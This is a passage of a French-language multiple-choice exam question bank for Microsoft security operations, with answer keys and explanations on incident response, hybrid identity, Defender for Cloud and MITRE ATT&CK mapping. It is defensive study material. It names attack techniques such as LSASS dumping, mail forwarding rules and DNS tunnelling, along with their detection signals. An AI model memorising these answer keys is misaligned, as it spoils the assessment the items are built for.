**Énoncé :** Toutes les actions de remédiation d'un incident ont été réalisées. Que doit faire l'analyste avant de clôturer l'incident dans le portail ?

**A.** Réouvrir toutes les alertes résolues.

**B.** Supprimer les commentaires pour garder l'incident lisible.

**C.** Vérifier que toutes les alertes et entités ont été traitées, documenter les conclusions (cause, périmètre, actions), choisir la classification et la détermination appropriées, puis résoudre l'incident.

**D.** Clôturer sans classification pour gagner du temps.

**Bonne réponse : C**

### Correction détaillée

La **clôture** formalise la fin de la réponse : toutes les alertes résolues, documentation complète, **classification** (vrai positif, informationnel/activité attendue, faux positif) avec **détermination**, puis passage à l'état Résolu/Fermé.

### Analyse des réponses incorrectes

- **A.** Sans objet.
- **B.** Les commentaires constituent la trace de l'investigation.
- **D.** La classification alimente les statistiques et le réglage des détections.

### Explication technique

Une liste de contrôle (tâches d'incident ou de cas) assure l'homogénéité. Les incidents peuvent être rouverts si de nouvelles alertes correspondantes arrivent (selon la configuration du regroupement).

**Point à retenir pour l'examen :** Avant clôture : alertes traitées, conclusions documentées, classification + détermination.

### Référence officielle

- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents

## Question n° 335 — Surveillance post-incident

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après un incident de compromission, l'équipe craint le retour de l'attaquant via les mêmes infrastructures. Quelle mesure de surveillance est la plus efficace ?

**A.** Augmenter la rétention de toutes les tables à 12 ans.

**B.** Créer des détections ciblées temporaires (règles analytiques ou détections personnalisées) sur les IOC et TTP observés (IP, domaines, hachages, comptes, techniques) avec une gravité élevée, et une liste de surveillance des actifs touchés.

**C.** Désactiver les alertes de faible gravité.

**D.** Relancer un audit de conformité.

**Bonne réponse : B**

**Correction détaillée**

Les **détections post-incident** s'appuient sur les **IOC** (souvent éphémères) et surtout sur les **TTP** (plus durables) observés. Les actifs et comptes touchés font l'objet d'une surveillance renforcée (watchlist « Actifs post-incident »).

**Analyse des réponses incorrectes**

- **A.** Améliore l'investigation a posteriori, pas la détection d'un retour.
- **C.** Sans rapport avec la détection du retour de l'attaquant.
- **D.** Utile mais ne détecte pas un retour en temps réel.

**Explication technique**

Fixer une date de revue de ces règles temporaires. Les indicateurs de menace (TI) peuvent être importés dans Sentinel et appliqués par les règles « TI map », et dans MDE comme indicateurs de blocage.

**Point à retenir pour l'examen :** Après incident : détections ciblées sur IOC et surtout TTP + surveillance des actifs touchés.

**Référence officielle**

- Créer une règle d'analyse planifiée à partir de zéro — https://learn.microsoft.com/fr-fr/azure/sentinel/create-analytics-rules
- Créer des règles de détection personnalisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detection-rules

## Question n° 336 — Coordination avec un prestataire de réponse

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation fait appel à un prestataire externe de réponse aux incidents pendant une crise. Quel principe d'accès est le plus approprié ?

**A.** Désactiver la MFA pour faciliter l'accès du prestataire.

**B.** Partager le mot de passe d'un compte Administrateur général.

**C.** Donner un accès permanent pour les futurs incidents.

**D.** Accorder des accès nominatifs, limités dans le temps et au strict nécessaire (rôles en lecture ou de réponse ciblés), tracés et révoqués à la fin de la mission.

**Bonne réponse : D**

**Correction détaillée**

Les accès des tiers suivent le **moindre privilège** et le **juste-à-temps** : comptes **nominatifs** (B2B ou dédiés), rôles adaptés (Microsoft Sentinel Reader/Responder, rôles Defender de réponse), MFA, journalisation et **révocation** à la fin.

**Analyse des réponses incorrectes**

- **A.** Affaiblit la sécurité pendant une crise.
- **B.** Pas de traçabilité, privilèges excessifs.
- **C.** Les accès doivent être révoqués en fin de mission.

**Explication technique**

Privileged Identity Management (PIM) permet des attributions éligibles et limitées dans le temps avec approbation. Le plan de réponse prévoit ces modalités à l'avance (contrat, contacts, accès pré-provisionnés désactivés).

**Point à retenir pour l'examen :** Prestataire IR : accès nominatifs, minimaux, temporaires, tracés et révoqués.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## 4.7 Réponse en environnement hybride

### Question n° 337 — Incident traversant le local et le cloud

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant compromet un poste local, vole les identifiants d'un administrateur synchronisé, puis crée une application dans Entra ID et accède à des abonnements Azure. Quelle combinaison d'outils offre la vue la plus complète de l'attaque ?

**A.** Uniquement l'antivirus Microsoft Defender du poste.

**B.** Uniquement les journaux du pare-feu.

**C.** Defender XDR (MDE, MDI, MDCA, Entra ID Protection) pour la corrélation des alertes en un incident, et Microsoft Sentinel pour les journaux Entra ID (AuditLogs), Azure (AzureActivity) et les corrélations personnalisées, dans le portail Defender unifié.

**D.** Uniquement Defender for Cloud.

**Bonne réponse : C**

**Correction détaillée**

Une attaque **hybride** traverse terminaux, identités locales et cloud, et ressources Azure. **Defender XDR** corrèle les signaux de ses produits ; **Sentinel** apporte les journaux de plateforme (AuditLogs, AzureActivity, journaux de ressources) et des corrélations sur mesure. Le portail Defender unifie incidents et chasse.

**Analyse des réponses incorrectes**

- **A.** Il ne voit ni l'annuaire, ni le cloud.
- **B.** Visibilité réseau partielle.
- **D.** Il couvre les ressources cloud mais pas le poste ni l'identité de bout en bout.

**Explication technique**

Chronologie type : MDE (exécution, vol de LSASS), MDI (pass-the-hash, DCSync), Entra ID (connexion, création d'application, consentement), Azure (attribution de rôle, accès aux clés). Defender for Cloud ajoute les alertes des charges de travail Azure.

**Point à retenir pour l'examen :** Attaque hybride = Defender XDR (corrélation) + Sentinel (journaux de plateforme), unifiés dans le portail Defender.

**Référence officielle**

- Corrélation des alertes et fusion des incidents dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/alerts-incidents-correlation
- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal

### Question n° 338 — Synchronisation et réinitialisation de mot de passe

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur hybride à risque élevé doit changer son mot de passe via la stratégie de risque utilisateur (libre-service). Quelle fonctionnalité doit être activée pour que le nouveau mot de passe soit appliqué aussi dans Active Directory ?

**A.** La réécriture du mot de passe (password writeback) de Microsoft Entra Connect / Cloud Sync.

**B.** La synchronisation des appareils hybrides.

**C.** Le connecteur Syslog.

**D.** Le capteur Defender for Identity.

**Bonne réponse : A**

**Correction détaillée**

Pour les identités **hybrides**, la **réécriture du mot de passe** permet aux changements effectués dans le cloud (SSPR, remédiation de risque) d'être appliqués dans **AD local**, sinon le mot de passe cloud et AD divergent.

**Analyse des réponses incorrectes**

- **B.** Sans rapport avec les mots de passe.
- **C.** Sans rapport.
- **D.** Il détecte des menaces, il ne réécrit pas les mots de passe.

**Explication technique**

Sans réécriture, la remédiation en libre-service du risque utilisateur n'est pas possible pour ces comptes : un administrateur doit réinitialiser dans AD. Microsoft recommande aussi la synchronisation du hachage de mot de passe pour permettre la détection des identifiants divulgués.

**Point à retenir pour l'examen :** Remédiation cloud d'un compte hybride = réécriture du mot de passe nécessaire.

**Référence officielle**

- Atténuer les risques et débloquer les utilisateurs — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-remediate-unblock

## Question n° 339 — Détection des identifiants divulgués pour les comptes hybrides

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation utilise l'authentification fédérée (AD FS) sans synchronisation du hachage de mot de passe. Pourquoi la détection « Leaked credentials » d'Entra ID Protection est-elle limitée pour ses comptes ?

**A.** Parce que Entra ID Protection ne fonctionne qu'avec des comptes cloud uniquement.

**B.** Parce que la comparaison avec des identifiants divulgués nécessite que les hachages de mots de passe soient synchronisés dans Entra ID (synchronisation du hachage de mot de passe).

**C.** Parce que AD FS chiffre les adresses e-mail.

**D.** Parce que la MFA désactive la détection.

**Bonne réponse : B**

**Correction détaillée**

La détection des **identifiants divulgués** compare les paires identifiant/mot de passe trouvées dans des fuites aux **hachages** connus d'Entra ID. Sans **synchronisation du hachage de mot de passe** (PHS), Entra ID ne connaît pas ces hachages pour les comptes fédérés.

**Analyse des réponses incorrectes**

- **A.** Il fonctionne aussi pour les comptes synchronisés, avec certaines dépendances.
- **C.** Sans rapport.
- **D.** La MFA n'affecte pas cette détection.

**Explication technique**

Microsoft recommande d'activer PHS même avec la fédération (comme solution de secours et pour la protection des identités). Les comptes fédérés peuvent aussi bénéficier d'autres détections (connexions à risque).

**Point à retenir pour l'examen :** Leaked credentials pour comptes hybrides = synchronisation du hachage de mot de passe requise.

**Référence officielle**

- Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks

### Question n° 340 — Accès conditionnel et appareils compromis

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez empêcher automatiquement l'accès aux applications Microsoft 365 depuis des appareils que Defender for Endpoint juge à risque élevé. Quelle intégration utiliser ?

**A.** Une règle ASR bloquant Outlook.

**B.** Le filtrage de contenu web.

**C.** Une watchlist Sentinel des appareils à risque.

**D.** Le niveau de risque machine de MDE transmis à Intune (conformité des appareils), utilisé par une stratégie d'accès conditionnel exigeant un appareil conforme.

**Bonne réponse : D**

**Correction détaillée**

MDE calcule un **niveau de risque de l'appareil** ; la connexion **MDE ↔ Intune** l'intègre aux stratégies de **conformité** ; l'**accès conditionnel** « Exiger un appareil conforme » bloque alors l'accès tant que le risque n'est pas remédié.

**Analyse des réponses incorrectes**

- **A.** Les règles ASR ne gèrent pas l'accès aux applications cloud.
- **B.** Il bloque des catégories de sites, pas l'accès à Microsoft 365 selon le risque de l'appareil.
- **C.** Une watchlist ne bloque pas l'accès.

**Explication technique**

Ce mécanisme de « zero trust » contient automatiquement un appareil compromis côté accès aux données, en complément de l'isolation réseau. Il nécessite l'intégration Intune activée dans les fonctionnalités avancées de MDE.

**Point à retenir pour l'examen :** Appareil à risque (MDE) → non conforme (Intune) → accès bloqué (accès conditionnel).

**Référence officielle**

- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview
- Vue d'ensemble de Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/microsoft-defender-endpoint

## 4.8 Cartographie MITRE ATT&CK

### Question n° 341 — Tactique d'une suppression de clichés instantanés

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** À quelle tactique MITRE ATT&CK correspond la technique T1490 « Inhibit System Recovery » (suppression des clichés instantanés) ?

**A.** Découverte (Discovery).

**B.** Exfiltration.

**C.** Impact (Impact).

**D.** Accès initial (Initial Access).

**Bonne réponse : C**

**Correction détaillée**

**T1490 – Inhibit System Recovery** appartient à la tactique **Impact** : l'attaquant empêche la restauration pour maximiser l'effet du chiffrement (T1486, également Impact).

**Analyse des réponses incorrectes**

- **A.** Il ne s'agit pas de collecte d'informations.
- **B.** Aucune donnée n'est sortie.
- **D.** T1490 n'est pas un moyen d'entrer dans l'environnement.

**Explication technique**

Tactiques ATT&CK Enterprise : Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact. Les règles Sentinel et alertes Defender indiquent leurs tactiques/techniques.

**Point à retenir pour l'examen :** T1490 et T1486 = tactique Impact.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 342 — Technique d'un vidage de LSASS

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant utilise procdump pour vider la mémoire de lsass.exe. Quelle technique ATT&CK correspond ?

**A.** T1003.001 – OS Credential Dumping : LSASS Memory (tactique Credential Access).

**B.** T1071 – Application Layer Protocol.

**C.** T1486 – Data Encrypted for Impact.

**D.** T1566.001 – Spearphishing Attachment.

**Bonne réponse : A**

**Correction détaillée**

Le vidage de la mémoire de **LSASS** pour en extraire des identifiants correspond à **T1003.001**, sous la tactique **Accès aux identifiants** (Credential Access).

**Analyse des réponses incorrectes**

- **B.** Communication de commande et contrôle.
- **C.** Chiffrement par rançongiciel.
- **D.** Technique d'accès initial par pièce jointe.

**Explication technique**

Autres sous-techniques T1003 : .002 (SAM), .003 (NTDS), .006 (DCSync). Défenses : ASR LSASS, Credential Guard, LSA Protection. Les détections MDE et MDI associées affichent ces techniques.

**Point à retenir pour l'examen :** Vidage LSASS = T1003.001 (Credential Access).

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 343 — Enchaîner des techniques dans une chronologie

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Dans quel ordre logique de tactiques ATT&CK se situent les événements suivants : (a) e-mail avec pièce jointe piégée ouverte, (b) création d'une tâche planifiée, (c) requêtes LDAP d'énumération, (d) connexion SMB vers un serveur avec un compte volé, (e) chiffrement des fichiers ?

**A.** Accès initial (a) → Persistance (b) → Découverte (c) → Mouvement latéral (d) → Impact (e).

**B.** Découverte (a) → Impact (b) → Accès initial (c) → Persistance (d) → Mouvement latéral (e).

**C.** Impact (a) → Mouvement latéral (b) → Persistance (c) → Découverte (d) → Accès initial (e).

**D.** Exfiltration (a) → Exécution (b) → Collecte (c) → Impact (d) → Persistance (e).

**Bonne réponse : A**

**Correction détaillée**

(a) **T1566.001** Accès initial ; (b) **T1053.005** Persistance (et exécution) ; (c) **T1087.002** Découverte ; (d) **T1021.002** Mouvement latéral (SMB/partages d'administration) avec **T1078** comptes valides ; (e) **T1486** Impact.

**Analyse des réponses incorrectes**

- **B.** Les tactiques sont mal attribuées aux événements.
- **C.** Chronologie inversée et attributions erronées.
- **D.** Attributions erronées.

**Explication technique**

Reconstituer l'attaque selon ATT&CK aide à identifier les **lacunes de détection** (étapes non détectées) et à prioriser les nouvelles règles. La page MITRE ATT&CK de Sentinel montre la couverture des règles.

**Point à retenir pour l'examen :** Lire une attaque avec ATT&CK : accès initial → persistance → découverte → mouvement latéral → impact.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage
- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## Question n° 344 — Technique de la pulvérisation de mots de passe

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle technique ATT&CK correspond à une pulvérisation de mots de passe contre Microsoft Entra ID ?

**A.** T1558.003 – Kerberoasting.

**B.** T1110.004 – Credential Stuffing.

**C.** T1110.001 – Password Guessing.

**D.** T1110.003 – Brute Force : Password Spraying.

**Bonne réponse : D**

**Correction détaillée**

La **pulvérisation** (T1110.003) teste un petit nombre de mots de passe courants sur **de nombreux comptes** pour éviter les verrouillages. Le **password guessing** (T1110.001) cible un compte ; le **credential stuffing** (T1110.004) réutilise des identifiants divulgués.

**Analyse des réponses incorrectes**

- **A.** Attaque sur les tickets de service Kerberos.
- **B.** Le credential stuffing réutilise des couples identifiant/mot de passe issus de fuites.
- **C.** Essais multiples sur un même compte.

**Explication technique**

Les trois relèvent de la tactique Credential Access. Leurs signatures de détection diffèrent (dcount des comptes, échecs par compte, succès sur des couples connus).

**Point à retenir pour l'examen :** Spraying = T1110.003 ; guessing = .001 ; stuffing = .004.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage
- Enquête sur l'attaque par pulvérisation de mots de passe — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-password-spray

## Question n° 345 — Technique d'une règle de transfert de messagerie

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant crée une règle de boîte de réception qui transfère automatiquement les e-mails vers une adresse externe. Quelle technique ATT&CK correspond ?

**A.** T1490 – Inhibit System Recovery.

**B.** T1566.002 – Spearphishing Link.

**C.** T1114.003 – Email Collection : Email Forwarding Rule (tactique Collection).

**D.** T1059.001 – PowerShell.

**Bonne réponse : C**

**Correction détaillée**

Les **règles de transfert** permettent de collecter en continu les e-mails de la victime : **T1114.003** (Collection). Les règles de dissimulation (déplacement/suppression) relèvent de **T1564.008** (Defense Evasion).

**Analyse des réponses incorrectes**

- **A.** Technique d'impact.
- **B.** Technique d'accès initial par lien.
- **D.** Technique d'exécution.

**Explication technique**

Détection : OfficeActivity / CloudAppEvents (New-InboxRule, Set-InboxRule, Set-Mailbox -ForwardingSmtpAddress), alertes MDCA, stratégie de blocage du transfert externe.

**Point à retenir pour l'examen :** Règle de transfert = T1114.003 ; règle de dissimulation = T1564.008.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 346 — Technique de tunnel DNS

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un implant encode ses communications dans des requêtes DNS vers un domaine contrôlé par l'attaquant. Quelle technique ATT&CK correspond principalement ?

**A.** T1003.006 – DCSync.

**B.** T1071.004 – Application Layer Protocol : DNS (Command and Control).

**C.** T1543.003 – Windows Service.

**D.** T1046 – Network Service Discovery.

**Bonne réponse : B**

**Correction détaillée**

L'utilisation du **DNS comme canal** de commande et contrôle correspond à **T1071.004**. Si le canal sert à sortir des données, **T1048** (Exfiltration Over Alternative Protocol) s'applique aussi.

**Analyse des réponses incorrectes**

- **A.** Vol d'identifiants via réplication.
- **C.** Persistance par service.
- **D.** Balayage de services réseau.

**Explication technique**

Détection : longueur/entropie des sous-domaines, volume de requêtes uniques vers un domaine, requêtes TXT inhabituelles, résolveurs non autorisés (DNS direct vers Internet). Sources : DnsEvents, journaux DNS d'Azure Firewall, DeviceEvents.

**Point à retenir pour l'examen :** C2 par DNS = T1071.004 ; exfiltration par protocole alternatif = T1048.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 347 — Couverture ATT&CK et lacunes

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après un incident, l'équipe constate qu'aucune règle active ne couvre la technique utilisée pour le mouvement latéral (T1021.006 – WinRM). Comment exploiter les outils de Sentinel pour combler cette lacune ?

**A.** Consulter la page MITRE ATT&CK (couverture simulée) et le hub de contenu pour trouver des modèles de règles ou requêtes de chasse couvrant T1021.006, puis activer et adapter une règle ; vérifier aussi les recommandations d'optimisation SOC basées sur les menaces.

**B.** Désactiver WinRM dans toute l'organisation sans analyse.

**C.** Attendre une mise à jour automatique de Fusion.

**D.** Créer une watchlist contenant « T1021.006 ».

**Bonne réponse : A**

**Correction détaillée**

La page **MITRE ATT&CK** de Sentinel affiche la couverture actuelle et **simulée** (modèles disponibles). Le **hub de contenu** fournit des modèles de règles par technique ; les **optimisations SOC** proposent des recommandations de couverture par scénario de menace.

**Analyse des réponses incorrectes**

- **B.** Peut casser l'administration ; la question porte sur la détection.
- **C.** Fusion ne remplace pas une couverture explicite des techniques.
- **D.** Une watchlist ne détecte rien.

**Explication technique**

Pour WinRM : processus wsmprovhost.exe lançant des commandes, connexions sur 5985/5986, événements PowerShell Remoting. Tester la règle avec un exercice (purple team) pour valider la détection.

**Point à retenir pour l'examen :** Lacune ATT&CK → page MITRE (simulée) + hub de contenu + optimisations SOC, puis test de la règle.

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage
- Optimiser vos opérations de sécurité — https://learn.microsoft.com/fr-fr/azure/sentinel/soc-optimization/soc-optimization-access

## 4.9 Compléments : préparation et analyse

### Question n° 348 — Identifier le patient zéro

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un incident regroupe des alertes sur 35 appareils. Pour comprendre le vecteur initial, l'analyste veut identifier le premier appareil compromis (patient zéro). Quelle démarche est la plus fiable ?

**A.** Choisir le dernier appareil sur lequel une alerte est apparue.

**B.** Choisir l'appareil de l'utilisateur le plus haut placé dans l'organigramme.

**C.** Reconstituer la chronologie à partir des premiers horodatages d'activité malveillante (première exécution des IOC, première connexion du compte compromis, premier e-mail ouvert), en remontant l'arborescence des processus et les connexions latérales jusqu'à l'activité la plus ancienne.

**D.** Choisir l'appareil qui a le plus d'alertes.

**Bonne réponse : C**

**Correction détaillée**

Le **patient zéro** se déduit de la **chronologie** : premières occurrences des IOC (hachages, IP, domaines), première activité du compte compromis, origine des connexions latérales (DeviceLogonEvents RemoteIP, DeviceFileEvents RequestSourceIP). La chasse avancée avec `min(Timestamp)` par appareil aide à ordonner les événements.

**Analyse des réponses incorrectes**

- **A.** C'est l'inverse de ce que l'on cherche.
- **B.** Aucun lien avec la chronologie de l'attaque.
- **D.** Le nombre d'alertes reflète l'activité, pas l'antériorité.

**Explication technique**

Le vecteur initial (hameçonnage, service exposé, identifiants volés) conditionne l'éradication et les mesures préventives. Les rapports d'analyse des menaces décrivent souvent le mode opératoire typique d'un acteur.

**Point à retenir pour l'examen :** Patient zéro = première occurrence chronologique des indicateurs et de l'activité du compte, pas l'appareil le plus bruyant.

**Référence officielle**

- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents
- Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines

## Question n° 349 — Exercice sur table

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quel est l'objectif principal d'un exercice sur table (tabletop exercise) dans la phase de préparation ?

**A.** Remplacer les outils de détection.

**B.** Tester, sur un scénario simulé, les rôles, décisions, communications et procédures de réponse, afin d'identifier les lacunes avant un incident réel.

**C.** Former uniquement les utilisateurs au hameçonnage.

**D.** Mesurer les performances des serveurs.

**Bonne réponse : B**

**Correction détaillée**

L'**exercice sur table** réunit les acteurs (SOC, IT, direction, juridique, communication) autour d'un scénario (rançongiciel, fuite de données) pour valider le **plan de réponse** : escalade, décisions, communication hors bande, obligations réglementaires.

**Analyse des réponses incorrectes**

- **A.** L'exercice teste l'organisation, il ne remplace pas les outils.
- **C.** C'est l'objet des simulations d'attaques.
- **D.** Sans rapport avec la réponse aux incidents.

**Explication technique**

Les résultats alimentent les mises à jour des runbooks, des contacts et des outils (automatisations). Les exercices techniques (purple team) complètent en validant les détections.

**Point à retenir pour l'examen :** Exercice sur table = tester l'organisation et les procédures sur un scénario, avant l'incident réel.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 350 — IOC et TTP

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pourquoi une détection fondée sur les techniques de l'attaquant (TTP) est-elle généralement plus durable qu'une détection fondée uniquement sur des indicateurs (hachages, IP) ?

A. Parce que l'attaquant peut changer facilement de hachage ou d'adresse IP, alors que modifier ses techniques (par exemple sa façon de voler des identifiants ou de se déplacer) lui coûte beaucoup plus cher.

B. Parce que les IOC sont interdits dans Microsoft Sentinel.

C. Parce que les TTP ne génèrent jamais de faux positifs.

D. Parce que les hachages ne peuvent pas être recherchés en KQL.

**Bonne réponse : A**

**Correction détaillée**

Selon la « pyramide de la douleur », les **IOC atomiques** (hachages, IP, domaines) sont faciles à changer pour l'attaquant ; les **TTP** (comportements) sont plus coûteux à modifier. Les deux approches sont complémentaires : IOC pour la réaction rapide, TTP pour la résilience.

**Analyse des réponses incorrectes**

- **B.** Sentinel gère les IOC (renseignement sur les menaces).
- **C.** Les détections comportementales demandent aussi un réglage.
- **D.** Ils le sont facilement.

**Explication technique**

Les règles comportementales s'appuient sur ATT&CK (par exemple vidage de LSASS, suppression de clichés), les IOC sur le renseignement (ThreatIntelIndicators, indicateurs MDE).

**Point à retenir pour l'examen :** IOC = réaction rapide mais éphémère ; TTP = détection durable.

**Référence officielle**

- Renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/understand-threat-intelligence
- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 351 — Contenir un utilisateur compromis

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Lors d'un rançongiciel, un compte Active Directory compromis est utilisé pour se connecter à de nombreux appareils. Quelle action de Defender permet de bloquer l'utilisation de ce compte depuis les appareils gérés, en complément de sa désactivation ?

A. Supprimer le profil local de l'utilisateur sur son poste.

B. Ajouter le compte à une watchlist.

C. Lancer une analyse antivirus sur le compte.

D. Contenir l'utilisateur (Contain user), qui bloque les activités entrantes du compte (connexions à distance, accès aux partages) sur les appareils intégrés à Defender for Endpoint.

**Bonne réponse : D**

**Correction détaillée**

**Contenir l'utilisateur** empêche un compte compromis d'être utilisé pour le **mouvement latéral** (connexions réseau, RDP, SMB) vers les appareils gérés, même si ses identifiants ou tickets restent valides un moment. Cette action est notamment utilisée par l'**interruption automatique d'attaque**.

**Analyse des réponses incorrectes**

- **A.** Sans effet sur les connexions latérales.
- **B.** Une watchlist ne bloque rien.

- **C.** Une analyse antivirus s'applique à un appareil.

**Explication technique**

Elle complète la **désactivation** du compte (AD/Entra ID) et la réinitialisation des identifiants, car des tickets Kerberos déjà émis peuvent rester valides. L'action est réversible et tracée dans le Centre de notifications.

**Point à retenir pour l'examen :** Compte compromis utilisé latéralement = Contain user (MDE) + désactivation/réinitialisation.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption

# Module 5 — Microsoft Defender for Cloud et protection des ressources (questions 352 à 401)

Ce module porte sur **Microsoft Defender for Cloud** : CSPM (gratuit et Defender CSPM), Secure Score, conformité réglementaire, chemins d'attaque, plans de protection des charges de travail (Servers, Storage, SQL, Containers, App Service, Key Vault, Resource Manager, DNS, APIs, IA), alertes et incidents, investigation et réponse dans le cloud (Azure et multicloud), automatisation des workflows, export continu, intégration avec Defender XDR et Microsoft Sentinel, et distinction avec Defender XDR.

Il correspond principalement à l'objectif officiel « Enquêter et corriger des alertes et des incidents identifiés par les protections de charge de travail Microsoft Defender pour le cloud » (domaine 2), avec des questions d'ingestion et d'automatisation (domaine 1).

## 5.1 Architecture, plans et posture de sécurité

### Question n° 352 — Rôle de Microsoft Defender for Cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle description correspond le mieux à Microsoft Defender for Cloud ?

**A.** Un antivirus pour postes de travail Windows.

**B.** Une plateforme de protection des applications cloud natives (CNAPP) combinant la gestion de la posture (CSPM) et la protection des charges de travail cloud (CWP) pour Azure, AWS, GCP et les environnements locaux.

**C.** Le service d'authentification des utilisateurs Microsoft 365.

**D.** Le SIEM de Microsoft destiné à collecter tous les journaux de l'entreprise.

**Bonne réponse : B**

#### Correction détaillée

**Defender for Cloud** est une **CNAPP** : **CSPM** (évaluation de la configuration, recommandations, Secure Score, conformité réglementaire, chemins d'attaque) et **CWP** (plans Defender for Servers, Storage, SQL, Containers, App Service, Key Vault, Resource Manager, APIs, AI services…) générant des **alertes de sécurité**.

#### Analyse des réponses incorrectes

- **A.** C'est l'antivirus Microsoft Defender / Defender for Endpoint.
- **C.** C'est Microsoft Entra ID.
- **D.** C'est Microsoft Sentinel.

#### Explication technique

Il couvre Azure nativement, AWS et GCP via des connecteurs, et les machines locales via Azure Arc. Ses alertes et incidents sont intégrés à Defender XDR et peuvent être ingérés dans Sentinel.

